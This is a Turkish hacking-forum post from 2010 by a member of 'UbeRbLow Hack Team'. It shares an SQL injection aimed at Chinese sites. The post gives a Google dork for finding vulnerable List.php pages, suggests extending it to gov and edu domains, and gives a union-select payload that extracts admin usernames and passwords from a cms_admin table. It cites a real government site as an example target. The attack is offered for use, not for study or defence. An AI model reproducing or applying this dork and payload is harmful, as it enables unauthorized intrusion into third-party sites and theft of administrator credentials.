UbeRbLow Hack Team

Üye Olmak İçin Tıklayınız !

 

Sitemiz Tekrar OnLine... Moderator AlımLar BaşLadı... BaşvuruLarınızı "Tim'e Başvuru" Bölümüne Yapınız. // Siray3t

    Güncel Çin Siteleri SQL Açıkları

    Paylaş
    avatar
    Siray3t
     
     

    Cinsiyet : Erkek
    Mesaj Sayısı : 99
    Kayıt tarihi : 23/12/09
    Yaş : 22
    Nerden : İst
    İş/Hobiler : Bilgisayar
    Lakap : sec0rity

    Güncel Çin Siteleri SQL Açıkları

    Mesaj tarafından Siray3t Bir Ptsi Kas. 29, 2010 7:30 pm

    S.a arkadaşlar

    Sizinle çin sitelerinde bulunan bir SQL injection

    Google Dork:

    inurl:"/news/List.php?cid=" "edu"
    gov,edu,net,info v.s Şeklinde genişletilebilir.

    Exploit ;

    /news/List.php?cid=-65+union+select+concat(username,0x3a,password),2+f rom+cms_admin+limit+0,1--

    Örnek site arkadaşlar

    http://www.shuangliu.gov.cn/news/List.php?cid=-65+union+select+concat%28username,0x3a,password%29,2+from+cms_admin+limit+0,1--
    (örnek site açığı kapanmıs arkadaslar)

    Umarım İşinizi Yarar.

    Selametle.



    _________________

    UbeRbLow Hack Team | ekiN0x-aLLeqRo-aLkiNooS-KultAzaZeL

      Forum Saati Çarş. Ocak 17, 2018 3:12 am